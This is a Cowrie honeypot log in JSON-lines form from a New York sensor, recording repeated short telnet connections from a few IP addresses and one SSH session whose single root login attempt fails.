{"eventid":"cowrie.session.closed","duration":31.371323585510254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.449167Z","src_ip":"162.241.141.97","session":"53e9d9b76a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.447249174118042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.454699Z","src_ip":"162.241.141.97","session":"a589f035b780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34776,"dst_ip":"159.203.135.109","dst_port":23,"session":"e796cdd87f16","protocol":"telnet","message":"New connection: 162.241.141.97:34776 (159.203.135.109:23) [session: e796cdd87f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.560430Z"}
{"eventid":"cowrie.session.closed","duration":30.8637113571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.692271Z","src_ip":"192.119.108.58","session":"db5569542ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246944665908813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.736826Z","src_ip":"192.119.108.58","session":"14ab8a9dba64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35030,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4985fd064ca","protocol":"telnet","message":"New connection: 162.241.141.97:35030 (159.203.135.109:23) [session: f4985fd064ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.768393Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38864,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e4ff20022b","protocol":"telnet","message":"New connection: 192.119.108.58:38864 (159.203.135.109:23) [session: 67e4ff20022b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.832492Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35094,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2396698799d","protocol":"telnet","message":"New connection: 162.241.141.97:35094 (159.203.135.109:23) [session: f2396698799d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.846507Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35206,"dst_ip":"159.203.135.109","dst_port":23,"session":"691f189d74c6","protocol":"telnet","message":"New connection: 162.241.141.97:35206 (159.203.135.109:23) [session: 691f189d74c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:10.952525Z"}
{"eventid":"cowrie.session.closed","duration":31.115088939666748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:11.041238Z","src_ip":"50.6.231.162","session":"20341c90d8c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67869281768799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:11.154673Z","src_ip":"192.119.108.58","session":"9efa4b0efcaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203542232513428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:11.309960Z","src_ip":"50.6.231.162","session":"b929c30f1b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20392394065857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:11.508091Z","src_ip":"162.241.141.97","session":"14c8c99ce6ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36648,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82622091d35","protocol":"telnet","message":"New connection: 162.241.141.97:36648 (159.203.135.109:23) [session: c82622091d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:11.747175Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.120.125.22","src_port":52109,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0ba6c9a7f90","protocol":"telnet","message":"New connection: 185.120.125.22:52109 (159.203.135.109:23) [session: f0ba6c9a7f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:11.955711Z"}
{"eventid":"cowrie.session.closed","duration":30.638117790222168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:12.093882Z","src_ip":"80.241.210.166","session":"299eb891e987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9290988445282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:12.568401Z","src_ip":"192.119.108.58","session":"1405f1f23cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32746434211731,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:13.944253Z","src_ip":"192.119.108.58","session":"d3fb5804ef0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.061266660690308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:14.006811Z","src_ip":"162.241.141.97","session":"e67189c8a9f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83240580558777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:14.112685Z","src_ip":"192.119.108.58","session":"b849bada6040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":41066,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5f2f6ad5d7","protocol":"telnet","message":"New connection: 162.241.141.97:41066 (159.203.135.109:23) [session: bb5f2f6ad5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:14.146372Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42496,"dst_ip":"159.203.135.109","dst_port":23,"session":"6354a1575099","protocol":"telnet","message":"New connection: 162.241.141.97:42496 (159.203.135.109:23) [session: 6354a1575099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:14.718727Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43046,"dst_ip":"159.203.135.109","dst_port":23,"session":"a028a47837cf","protocol":"telnet","message":"New connection: 192.119.108.58:43046 (159.203.135.109:23) [session: a028a47837cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:14.781865Z"}
{"eventid":"cowrie.session.closed","duration":30.64034128189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.012601Z","src_ip":"162.241.141.97","session":"de8e6150dc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43416,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0a028cf6f8","protocol":"telnet","message":"New connection: 162.241.141.97:43416 (159.203.135.109:23) [session: 5e0a028cf6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.138446Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43584,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d8986aef31","protocol":"telnet","message":"New connection: 162.241.141.97:43584 (159.203.135.109:23) [session: f6d8986aef31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.192960Z"}
{"eventid":"cowrie.session.closed","duration":30.30266833305359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.212252Z","src_ip":"162.241.141.97","session":"22a08ddd238b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16904330253601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.242144Z","src_ip":"162.241.141.97","session":"927e0668b6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43522,"dst_ip":"159.203.135.109","dst_port":23,"session":"046fbca5a48b","protocol":"telnet","message":"New connection: 192.119.108.58:43522 (159.203.135.109:23) [session: 046fbca5a48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.327454Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41106,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a376dfb305","protocol":"telnet","message":"New connection: 192.119.108.58:41106 (159.203.135.109:23) [session: 82a376dfb305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.415352Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43048,"dst_ip":"159.203.135.109","dst_port":23,"session":"28ee5f3c98d1","protocol":"telnet","message":"New connection: 192.119.108.58:43048 (159.203.135.109:23) [session: 28ee5f3c98d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.781519Z"}
{"eventid":"cowrie.session.closed","duration":31.957170248031616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:15.952247Z","src_ip":"192.119.108.58","session":"9afe0c261133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.501189470291138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:16.093653Z","src_ip":"162.241.141.97","session":"4f27080af1a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74009871482849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:16.178996Z","src_ip":"162.241.141.97","session":"466ea3ada7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43512,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a6c57072d75","protocol":"telnet","message":"New connection: 192.119.108.58:43512 (159.203.135.109:23) [session: 7a6c57072d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:16.314824Z"}
{"eventid":"cowrie.session.closed","duration":31.36955237388611,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:16.599152Z","src_ip":"162.241.141.97","session":"1558db5d8bcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742417573928833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:16.695725Z","src_ip":"162.241.141.97","session":"d1d689ec3d6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16826057434082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:17.036315Z","src_ip":"162.241.141.97","session":"6c447116ea3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014101028442383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:17.140869Z","src_ip":"162.241.141.97","session":"e99b55b0e631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":37146,"dst_ip":"10.17.0.5","dst_port":23,"session":"d953b5bd2f0b","protocol":"telnet","message":"New connection: 50.6.231.162:37146 (10.17.0.5:23) [session: d953b5bd2f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:17.319901Z"}
{"eventid":"cowrie.session.closed","duration":31.066910982131958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:17.632577Z","src_ip":"50.6.231.162","session":"c1f42b8aee29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.649105548858643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:17.945926Z","src_ip":"162.241.141.97","session":"f9b31df6d02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.515453577041626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:18.919483Z","src_ip":"192.119.108.58","session":"ea6ae136a534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05683732032776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:20.125570Z","src_ip":"50.6.231.162","session":"d87080bf4678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48584,"dst_ip":"159.203.135.109","dst_port":23,"session":"9abf4269fab0","protocol":"telnet","message":"New connection: 192.119.108.58:48584 (159.203.135.109:23) [session: 9abf4269fab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:20.195311Z"}
{"eventid":"cowrie.session.closed","duration":31.26429772377014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:20.572646Z","src_ip":"192.119.108.58","session":"b6e67fb168f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":50148,"dst_ip":"159.203.135.109","dst_port":23,"session":"e477a9eb5cb8","protocol":"telnet","message":"New connection: 162.241.141.97:50148 (159.203.135.109:23) [session: e477a9eb5cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:20.801428Z"}
{"eventid":"cowrie.session.closed","duration":30.211287021636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:21.029519Z","src_ip":"162.241.141.97","session":"a8650bf1f20e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e495192172c4","protocol":"telnet","message":"New connection: 162.241.141.97:48596 (159.203.135.109:23) [session: e495192172c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:21.044043Z"}
{"eventid":"cowrie.session.closed","duration":30.698997020721436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:21.260323Z","src_ip":"192.119.108.58","session":"ec3017cf7411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593928337097168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:22.144730Z","src_ip":"162.241.141.97","session":"2f1b479de283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808364629745483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:22.217912Z","src_ip":"192.119.108.58","session":"1c1f587ec0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91449999809265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:22.409996Z","src_ip":"162.241.141.97","session":"ef6cc22eee51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67368769645691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:23.554445Z","src_ip":"192.119.108.58","session":"8025dee6ee7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52548,"dst_ip":"159.203.135.109","dst_port":23,"session":"7144263261fc","protocol":"telnet","message":"New connection: 192.119.108.58:52548 (159.203.135.109:23) [session: 7144263261fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:23.561589Z"}
{"eventid":"cowrie.session.closed","duration":31.7177734375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:23.980689Z","src_ip":"162.241.141.97","session":"dcaa66969e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239997386932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:24.342064Z","src_ip":"162.241.141.97","session":"3f16489c2414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.425758600234985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:24.402602Z","src_ip":"192.119.108.58","session":"093d34228c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53928,"dst_ip":"159.203.135.109","dst_port":23,"session":"53229f2f8966","protocol":"telnet","message":"New connection: 192.119.108.58:53928 (159.203.135.109:23) [session: 53229f2f8966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:24.828996Z"}
{"eventid":"cowrie.session.closed","duration":30.629470586776733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:25.062078Z","src_ip":"192.119.108.58","session":"b9ba1b1e413e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83953833580017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:25.295042Z","src_ip":"192.119.108.58","session":"57a74142a0be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061270713806152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:26.173667Z","src_ip":"192.119.108.58","session":"b256cdf433fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":32808,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff8664cdea5","protocol":"ssh","message":"New connection: 114.141.59.195:32808 (159.203.135.109:22) [session: 1ff8664cdea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:26.293768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:26.299330Z","src_ip":"114.141.59.195","session":"1ff8664cdea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":55454,"dst_ip":"159.203.135.109","dst_port":23,"session":"848de618a0c5","protocol":"telnet","message":"New connection: 162.241.141.97:55454 (159.203.135.109:23) [session: 848de618a0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:26.314774Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:26.549792Z","src_ip":"114.141.59.195","session":"1ff8664cdea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.845772981643677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:26.799284Z","src_ip":"192.119.108.58","session":"d049e2fc0279","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password101","message":"login attempt [root/password101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:27.549886Z","src_ip":"114.141.59.195","session":"1ff8664cdea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56718,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cafe8770b07","protocol":"telnet","message":"New connection: 162.241.141.97:56718 (159.203.135.109:23) [session: 5cafe8770b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:27.980384Z"}
{"eventid":"cowrie.session.closed","duration":30.31111168861389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:28.031175Z","src_ip":"192.119.108.58","session":"09b1bd9c406b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866894483566284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:28.266283Z","src_ip":"192.119.108.58","session":"ea318f240875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.387439727783203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:28.485483Z","src_ip":"192.119.108.58","session":"eeadb986a5fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.62058925628662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:28.709103Z","src_ip":"192.119.108.58","session":"7132a3242814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:28.805960Z","src_ip":"114.141.59.195","session":"1ff8664cdea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.222763538360596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:29.005952Z","src_ip":"162.241.141.97","session":"50192e2f0945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02048110961914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:30.408062Z","src_ip":"162.241.141.97","session":"bc869cc179a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59860,"dst_ip":"159.203.135.109","dst_port":23,"session":"88512edc7052","protocol":"telnet","message":"New connection: 192.119.108.58:59860 (159.203.135.109:23) [session: 88512edc7052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:30.740532Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":32864,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa55a98715c","protocol":"telnet","message":"New connection: 162.241.141.97:32864 (159.203.135.109:23) [session: 5fa55a98715c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:31.736222Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33142,"dst_ip":"159.203.135.109","dst_port":23,"session":"be93b80a22a6","protocol":"telnet","message":"New connection: 162.241.141.97:33142 (159.203.135.109:23) [session: be93b80a22a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:21:32.030107Z"}
